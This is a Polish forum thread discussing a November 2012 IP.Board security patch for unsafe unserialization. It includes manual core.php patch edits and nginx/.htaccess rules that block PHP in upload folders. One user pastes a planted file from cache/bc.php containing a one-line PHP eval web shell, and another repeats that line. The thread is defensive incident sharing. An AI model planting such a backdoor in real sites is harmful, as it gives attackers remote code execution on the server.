[IPS News] IP.Board 3.3.x, 3.2.x, oraz 3.1.x łata bezpieczeństwa (6 listopad 2012)

[NewsBot]

25 października 2012 roku, wydaliśmy krytyczną poprawkę zabezpieczeń IP.Board, rozwiązującą problem z serializowaną zawartością. Dziś wydaliśmy poprawkę, która rozszerza ochronę na zagrożone obszary.

Procedury bezpieczeństwa IPS

Kiedy IPS zidentyfikuje problem z zabezpieczeniami, niezwłocznie publikuje poprawkę w celu rozwiązania problemu, tak jak zrobiono to 25 października. W drugiej fazie procedur bezpieczeństwa, poświęcamy czas na zbadanie zagrożonego obszaru oprogramowania jak i innych, korzystających z podobnych funkcjonalności. Ta druga faza, pozwala zapewnić bezpieczeństwa dla Twojej społeczności, przez aktywne wzmacnianie funkcji bezpieczeństwa przed znalezieniem exploita.

Poprawka zabezpieczeń: 6 listopad 2012

Poprawka ta nie wynika z powodu istnienia exploita, jednakże nasz audyt bezpieczeństwa wykrył, że inne obszary oprogramowania mogą zostać wzmocnione na wypadek intruzów lub exploitów. By zapewnić bezpieczeństwo Twojej społeczności: dziś publikujemy krytyczną poprawkę zabezpieczeń

Instrukcje

Dostarczamy łatkę dla IP.Board w wersjach 3.3, 3.2 i 3.1. Mimo że wersja 3.1 nie ma już wsparcia i dla tej wersji wydaliśmy poprawkę, dla wygody klientów, którzy jeszcze nie zaktualizowali skryptu. Klientom posiadającym wersję niższą niż 3.1, doradzamy aktualizację skryptu, by uzyskać dostęp do tej jak i szeregu innych poprawek.

Zastosowanie poprawki jest bardzo proste:

1. Zidentyfikuj wersję IP.Board którą posiadasz.
   
2. Pobierz i rozpakuj odpowiedni plik który jest przeznaczony dla twojej wersji.
   
3. Wgraj zawartość do katalogu głównego w którym znajduje się IP.Board
   

IP.Board 3.3.x

ipb33_nov12.zip 47.08K

IP.Board 3.2.x

ipb32_nov12.zip 46.3K

IP.Board 3.1.x

ipb31_nov12.zip 66.4K

Uwagi:

• Ta poprawka zastępuje łatkę wydaną 25 października. Nie ma potrzeby stosowania wcześniejszej łatki, ponieważ ta aktualna zawiera wcześniejsze poprawki jak i szereg innych.
  
• Kiedy zastosujesz poprawkę na swoim forum, komunikat w ACP będzie nadal widoczny, przynajmniej przez tydzień od opublikowania łatki.
  
• Paczki z IP.Board, dostępne przez panel klienta, już zawierają tę poprawkę
  
• Jeśli posiadasz wersję 3.2.x lub 3.1.x i nie korzystasz z bazy danych do oznaczania przeczytanych tematów, wtedy cała zawartość będzie oznaczona jako nieprzeczytana
  
• Jeśli jesteś klientem IPS Hosting, twoje forum będzie zaktualizowane automatycznie.
  

[Amfidiusz]

Znowu Critical Update?

[DawPi]

Nic tylko się cieszyć.

[Jurij]

Ja już swoje załatałem. Tylko w tym temacie jakiś error wyskakuje, pobrałem z forum IPS i śmiga

[DawPi]

Już poprawiłem. Dzięki za cynk.

[Amfidiusz]

Nie wiem, czy należy wykazywać aż taki hurra optymizm. Oczywiście, dobrze że wynajdują takie kwiatki. Bardziej mnie martwi fakt, że w poprzednich wersjach częstotliwość krytycznych łatek nie była aż tak duża. A oznacza to, że IPS bardziej skupia się na wprowadzaniu nowych udogodnień (co również cieszy) niż na bezpieczeństwie skryptu. Bo nie okłamujmy się, oni sami tego nie znaleźli, tylko ktoś im podał te luki na tacy. Muszą więc pomyśleć na zatrudnieniu nowego speca od zabezpieczeń albo ludzie przestaną aktualizować swoje skrypty w pierwszych dniach po premierze czekając na odnalezienie wszystkich słabości nowej wersji i ich załatania.

[semenedar]

Amfidiuszu, do tej pory (znaczy do niedawna) to byłem akurat hura optymistą i zawsze robiłem update zaraz po tym, jak ukazał się w panelu klienta. Ale teraz wolę jednak trochę poczekać i wiem, że gdy pojawi się 3.4.0 to ...

no nie oszukujmy się. Wszyscy wiedzą że zaraz w trackerze zaroi się od zgłoszeń hura optymistów. Później pojawi się 3.4.1 i w efekcie, to 3.4.3 będzie stabilna. Lepiej poczekać. Łata wrzucona.

[DawPi]

semenedar, ale to już stara zasada związana nie tylko z IP.Board, ale i innymi skryptami.

[semenedar]

Tak Dawidzie, ale nowości kuszą, co nie? Kuszą i się chce je mieć. Jeżeli jednak ma się to odbywać kosztem forum, to wolę zaczekać. Jak dotąd mi się zawsze udawało, ale bałbym się rozpieprzyć forum przez aktualizację i potem z mozołem przywracać bazę i pliki.

[Łukasz]

Czytac jest o naszym kochanym forum... http://niebezpiecznik.pl/post/paypal-symantec-imageshack-nbc-i-lady-gaga-anonimowi-dzis-hackuja-co-popadnie-i-nie-tylko-oni/

Edytowane 6 Listopada 2012 przez Łukasz

[Amfidiusz]

semenedar, nawet nie chodziło mi o naprawę bugów, które pojawiają się wraz z kolejnymi wersjami. Z założenia wersja 3.3.4 nie miała wprowadzać nowych zmian, ale wyeliminować właśnie bugi zgłaszane w trackerze oraz poprawić bezpieczeństwo skryptu. Miała dopracować błędy poprzednich wersji 3.3.X oraz być tą najbezpieczniejszą wersją do użytku. A teraz dostajemy dwa update'y w przeciągu dwóch tygodni. To, że w najnowszej wersji nie zobaczyliśmy żadnych nowych funkcjonalności oznacza, że te krytyczne luki siedziały tam również w poprzednich wersjach i do wydania wersji 3.3.4 powinny zostać wyeliminowane.

---

EDIT: Chcąc pozostać jednak obiektywnym w tej sprawie muszę zauważyć, że łatka została wprowadzona dla całej serii 3.X. A to oznacza, że albo pojawiły się jakieś nowe narzędzia i IPS szybko na nie zareagował, albo luka była tak mocno schowana, że dopiero teraz udało się komuś ją wykryć.

Edytowane 6 Listopada 2012 przez Amfidiusz

[DawPi]

Radzę sprawdzić dokładnie swoje FTP. Znalazłem sporo syfu w cache/, hooks/, public/, uploads/ oraz w głównym folderze forum.

Więcej info: http://community.invisionpower.com/topic/372259-i-got-hacked-but-how/

[Łukasz]

Miałe to samo wchckd.php

[necik]

Radzę sprawdzić dokładnie swoje FTP. Znalazłem sporo syfu w cache/, hooks/, public/, uploads/ oraz w głównym folderze forum.

Więcej info: http://community.inv...hacked-but-how/

Ręcznie trzeba sprawdzać FTP, czy może są jakieś modyfikacje, które wyświetlą pliki inne niż standardowo pochodzące z ip.board?

[DawPi]

Niestety ręcznie, ale widzę pliki nie pasujące do reszty - jakieś dziwne nazwy, długi ciągi znaków etc. W razie wątpliwości załóż temat, wklej screeny z podanych wyżej katalogów i będziemy analizować.

[semenedar]

U mnie czysto jak u mamy tuż przed Wigilią. Ale po ostatnim ataku który opisałem wraz z narzędziami, piekielnie dbam o bezpieczeństwo, więc to pewnie dlatego. U mnie nie ma syfu w cache, hooks, ani w głównym. Nigdzie.

[Macsch15]

Manualna aktualizacja pliku core.php do wersji 3.1.x:

Plik: admin\sources\base\core.php

Znajdź:

   /**
    * Returns the class name to be instantiated, the class file will already be included 
    *
    * @param    string     $filePath        File location of the class
    * @param    string    $className        Name of the class
    * @param    string    $app            Application (defaults to 'core')
    * @return    string    Class Name
    */

Dodaj nad tym:

    static public function safeUnserialize( $serialized )
   {
       // unserialize will return false for object declared with small cap o
       // as well as if there is any ws between O and :
       if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
       {
           if ( strpos( $serialized, 'O:' ) === false )
           {
                // the easy case, nothing to worry about
                // let unserialize do the job
                return @unserialize( $serialized );
            }
            else if ( ! preg_match('/(^|;|{|})O:[+\-0-9]+:"/', $serialized ) )
            {
                // in case we did have a string with O: in it,
                // but it was not a true serialized object
                return @unserialize( $serialized );
            }
        }

        return false;
   }

Wyszukaj:

       if ( $iteration >= 20 )
       {
           return $input;
       }

Dodaj pod tym:

       if ( ! is_array( $data ) ) 
       {
           return $input; 
       }

Wyszukaj:

        if ( is_array( $value ) )
       {
           $value = serialize( $value );
       }

Zamień na:

        if ( is_array( $value ) )
       {
           $value = json_encode( $value );
       }

Wyszukaj:

    static public function get($name)
   {
       /* Check internal data first */
       if ( isset( self::$_cookiesSet[ $name ] ) )
       {
           return self::$_cookiesSet[ $name ];
       }
       else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
       {
           $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];

           if ( substr( $_value, 0, 2 ) == 'a:' )
           {
               return unserialize( stripslashes( urldecode( $_value ) ) );
           }
           else
           {
               return IPSText::parseCleanValue( urldecode( $_value ) );
           }
       }
       else
       {
           return FALSE;
       }
   }

Zamień na:

       static public function get($name)
   {
       /* Check internal data first */
       if ( isset( self::$_cookiesSet[ $name ] ) )
       {
           return self::$_cookiesSet[ $name ];
       }
          else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
          {
           $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];

              $_couldBeJson  = stripslashes( urldecode( $_value ) );
              $_test         = json_decode( $_couldBeJson, true );

              if ( is_array( $_test ) )
              { 
               return IPSLib::parseIncomingRecursively( $_test );
              }
              else
              {
               return IPSText::parseCleanValue( urldecode( $_value ) );
              }
          }
          else
          {
              return FALSE;
          }
   }

Wyszukaj:

    static public function parseCleanKey($key)
   {
       if ( $key == "" )
       {
           return "";
       }

Zamień na:

    static public function parseCleanKey($key)
   {
       if ( $key === "" )
       {
           return "";
       }

Edytowane 7 Listopada 2012 przez Macsch15

[DawPi]

Przeniosłem Twój post w odpowiedniejsze miejsce.

[JackMR]

łatki założone...

w /cache miałem:

more cache/bc.php
==============================================================================
URL: /index.php/index.php
Date: Sat, 03 Nov 2012 09:05:00 +0000
IP Address: 50.30.47.87
Time Taken: 0.00015
<?php eval($_REQUEST['x']); ?>
==============================================================================
==============================================================================
=========================	    END	   ===================================
========================= /index.php? ===================================
==============================================================================
==============================================================================
URL: /index.php/index.php
Date: Sat, 03 Nov 2012 09:05:00 +0000
IP Address: 50.30.47.87
Time Taken: 8.0E-5
<?php eval($_REQUEST['x']); ?>
==============================================================================
==============================================================================
=========================	    END	   ===================================
========================= /index.php? ===================================
==============================================================================

ale wg.mnie niedopuszczalne jest, że pehap sobie pisze po głównym katalogu.. Jeśli tak jest to znaczy, że w każdej chwili średnio inteligentny script-kid może Wam podmienić index.php

Weźcie sobie sprawdźcie dobrze prawa do Waszych głównych folderów. Tym bardziej, że w dzisiejszych czasach nie istnieje żaden soft komercyjny który wymaga praw pisania w głownym katalgou public html..

[Macsch15]

<?php eval($_REQUEST['x']); ?>

[Clubbers]

w /cache miałem:

bc.php

też miałem i wygląda, że tylko to było.

[elroy]

Jeżeli ktoś używa nginxa to polecam zastosować sobie taką regułę dla swojej domeny z forum, co uchroni już na poziomie serwera przed takimi problemami

location ~* ^/(?:cache|hooks|public/style_css|public/style_images|uploads)/.*\.(?:pl|php[345]*)$ {
access_log off;
log_not_found off;
return 404; # albo 403
}

[DawPi]

Ciekaw jestem czy istnieje podobne zabezpieczenie na apache.

[elroy]

Z tego co wiem, popularnyn mechanizmem jest ModSecurity (ale to jak ktoś sam zarządza serwerem) ale na pewno da się to zrobić dyrektywą Directory - zerknę w domu i wrzucę jakiś prosty poradnik.

[elroy]

Sorki, że post za postem.

W sumie to to napisałem to wytaczanie działa na mrówki trochę.

Można tak (trzeba oczywiście sprawdzić, ale powinno działać) dodać w .htaccess

RewriteEngine On
RewriteRule cache/(.*).php http://domena.pl/404.html
RewriteRule hooks/(.*).php http://domena.pl/404.html

Albo tak

<Directory /hooks/>
Deny from all
</Directory>

To proste zabepiecznie nie pozwoli wykonywać skryptów w tych katalogach, czyli odpalić jakieś shelle itp.